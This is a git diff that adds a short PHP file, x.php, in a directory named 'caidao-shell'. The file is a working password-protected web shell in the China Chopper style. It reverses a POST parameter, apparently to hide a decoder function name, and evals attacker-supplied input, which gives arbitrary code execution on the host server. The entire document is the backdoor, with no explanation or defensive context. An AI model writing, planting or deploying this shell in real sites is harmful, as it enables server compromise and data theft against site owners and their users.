diff --git a/caidao-shell/x.php b/caidao-shell/x.php
new file mode 100644
index 0000000..e03f58b
--- /dev/null
+++ b/caidao-shell/x.php
@@ -0,0 +1,3 @@
+<?php 
+if(isset($_POST['0K']) && substr(md5($_POST['0K']),20)=='e057f20f883e'){ 
+$Exp=strrev($_POST['qwer']);eval($Exp($_POST[z0]));}